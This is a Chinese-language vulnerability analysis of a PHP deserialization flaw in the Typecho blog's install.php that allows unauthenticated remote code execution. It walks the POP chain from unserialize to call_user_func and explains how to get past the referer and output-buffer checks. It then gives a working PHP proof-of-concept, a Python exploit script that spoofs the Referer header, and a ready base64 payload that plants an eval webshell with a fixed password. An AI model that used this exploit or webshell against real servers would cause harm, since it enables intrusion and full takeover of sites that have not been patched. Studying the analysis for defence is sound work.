Typecho 反序列化漏洞分析

漏洞概述

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

触发点在 ./install.php 。是一个反序列化导致的任意代码执行,从而实现前台 getshell。

受影响版本:GitHub上2017年10月24日之前的所有版本。

漏洞分析

漏洞触发点在 ./install.php。定位敏感函数 unserialize。这里其实定位到了两个有关利用点,但是其实只有第一处能够利用。相关代码在 231-237行

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

寻找unserialize函数中变量是否可控。可见先经过一次 base64_decode 函数解码,然后调用的是 Typecho_Cookie 类下的get方法。

public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

关键点在 value 附值处。可见设定了两个三元运算符进行嵌套, 通过 $_COOKIE$_POST 对其附值。可见这里我们可以直接通过 POST 方法来控制 key 的变量,从而控制 value 。

现在我们已经拥有了反序列化的点(unserialize),和我们的可控变量($_POST__typecho_config 附值)。

思考:我们通过反序列化得到了什么?
——》 $config变量的可控性。

紧接着体现 $config 变量可控性的地方在 $db = new Typecho_Db($config['adapter'], $config['prefix']);。 程序通过 Typecho_Db 进行了实例化。跟进方法

<?php
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}
}

关键代码为 $adapterName = 'Typecho_Db_Adapter_' . $adapterName;, 这里进行了一个字符串的拼接。且 adapterName 是我们可控的。如果我们传入一个类,PHP就会做一个从类到字符串的强制类型转换。由此会触发那个类的 toString 方法。

我们目前的利用链为: install.php 反序列化导致$config 变量可控 ——> Cookie.php.拼接导致强制类型转换触发传入类 __tostring 方法。

接着我们就开始寻找我们可利用的 tostring 方法。一共三处,我们可以利用的只有 var/Typecho/Feed.php 一处。截取部分代码

class Typecho_Feed
{
private $_items = array();

/**
* $item的格式为
* <code>
* array (
* 'title' => 'xxx',
* 'content' => 'xxx',
* 'excerpt' => 'xxx',
* 'date' => 'xxx',
* 'link' => 'xxx',
* 'author' => 'xxx',
* 'comments' => 'xxx',
* 'commentsUrl'=> 'xxx',
* 'commentsFeedUrl' => 'xxx',
* )
* </code>
*
* @access public
* @param array $item
* @return unknown
*/
public function addItem(array $item)
{
$this->_items[] = $item;
}

# ~ ~ ~ ~ ~ ~ 省略部分代码

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

关键点在 290行, $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; ,这里我们可控 $item['author']。当他被设置一个类,且从不可访问的属性screenName读取数据时,会调用 __get 方法。

我们目前的利用链为: install.php 反序列化导致$config 变量可控 ——> Cookie.php.拼接导致强制类型转换触发传入类 __tostring 方法。——> Feed.php 中控制 $item['author'] 去触发传入类的 __get 方法。

接着我们开始寻找 __get 方法。找到我们可以利用的文件 Request.php

class Typecho_Request
{
public function __get($key)
{
return $this->get($key);
}
}

跟进里面调用的 get 函数

class Typecho_Request
{
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

最后 return 返回值经过了 _applyFilter 处理,跟进 _applyFilter

class Typecho_Request
{
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

发现敏感函数: call_user_func 。且 $filter通过 private $_filter = array(); + foreach ($this->_filter as $filter) 得到,$filter可控。$value 通过 _params[$key]间接得到,所以也是可控的。

由此完成了我们的POP链

但在到达反序列化利用点(unserialize函数)之前,代码进行了两个限制。大概功能在注释中也写的清楚明了了。

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

针对第一点: 通过GET传参 finish 就能绕过; 针对第二点: refer来自本站即可

最后有一个坑来自于 install.php 最开头的 ob_start();

@LoRexxar师傅提到

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

同时 @pupiles 师傅也在blog中指出,由于调用了ob_end_clean方法清空了缓冲区。导致没有回显,但是php还是可以成功执行的,可以直接通过 file_put_contents 写入shell

解决了这个问题,整个利用ROP链就成立了

最终POP链为:
install.php 中的 unserialize反序列化可控 $config 值导致的 $config['adapter']可控。
——》Db.php 中进行PHP类型强制转换,触发 $config['adapter']可控类的 __tostring 方法
——》Feed.php__tostring 方法内调用可控制类从不可访问的属性读取数据$item['author']->screenName) 触发 __get方法
——》Request.php__get方法调用 get 方法,调用 _applyFilter方法中 的 call_user_func,控制其内两个参数实现命令执行

其实光看POP链不怎么复杂,但是里面每一步构造,每一个方法的尝试调用都是要经过很多次的跟进和分析的。

编写 POC & EXP

顺着 @pupiles 师傅 bypass ob_start() 的思路写的POC。但是使用 @pupiles 师傅blog中的 POC 可能有一点小问题。由于PHP中双引号具有解析效果,这里的 POST 会被解析,最终写入的 webshell 的代码为 <?php @eval()?>

因此改良POC如下

<?php

//编写最后 call_user_func 函数利用的类
class Typecho_Request
{
private $_filter = array();
private $_params = array();

public function __construct(){
$this->_filter[0] = 'assert'; //采用传统回调利用,call_user_func + assert
$this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[P2hm1n]); ?>")'; //bypass ob_start()限制
}
}


class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type = self::RSS2;
$this->_items[0] = array(
'author' => new Typecho_Request(),
);
}
}

$final = new Typecho_Feed();
$poc = array(
'adapter' => $final,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>

还有一种办法就是利用造成一个报错来构造POC。核心代码如下

public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}

最后简单的exp编写如下,没有对url做细致的处理。异常处理也不够细致。

import requests

url = 'http://typecho/'

def exp(url):
if "http//" or "https://" in url:
url = url
else:
url = 'http://' + url

target = url + '/install.php?finish'
fakerefer = url + '/install.php'
payload = '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCJzaGVsbC5waHAiLCAiPD9waHAgQGV2YWwoXCRfUE9TVFtQMmhtMW5dKTsgPz4iKSI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
'Referer': fakerefer,
'cookie': payload
}

try:
html = requests.get(url=target, headers=headers, timeout=5)
if html.status_code == 404:
return 'no install.php'
else:
print('mkdir:./shell.php, shell_password=P2hm1n')
except:
print('something wrong')

if __name__ == '__main__':
exp(url)

漏洞复现

首先正常安装 typecho,本地环境 MacOS + MAMP PRO(PHP7.3.9+Mysql5.7)

安装过程中需要自己去数据库里新建一个空数据库,安装过程并不会帮助你新建一个空的数据库然后写入数据。

访问 url 为 http://typecho/install.php?finish。 refer设置根据自身情况改变

POST参数如下

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCJzaGVsbC5waHAiLCAiPD9waHAgQGV2YWwoXCRfUE9TVFtQMmhtMW5dKTsgPz4iKSI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D

即可在当前目录下生成 shell.php 文件,密码为 P2hm1n

参考链接

https://lihuaiqiu.github.io/2019/07/14/Typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://paper.seebug.org/424/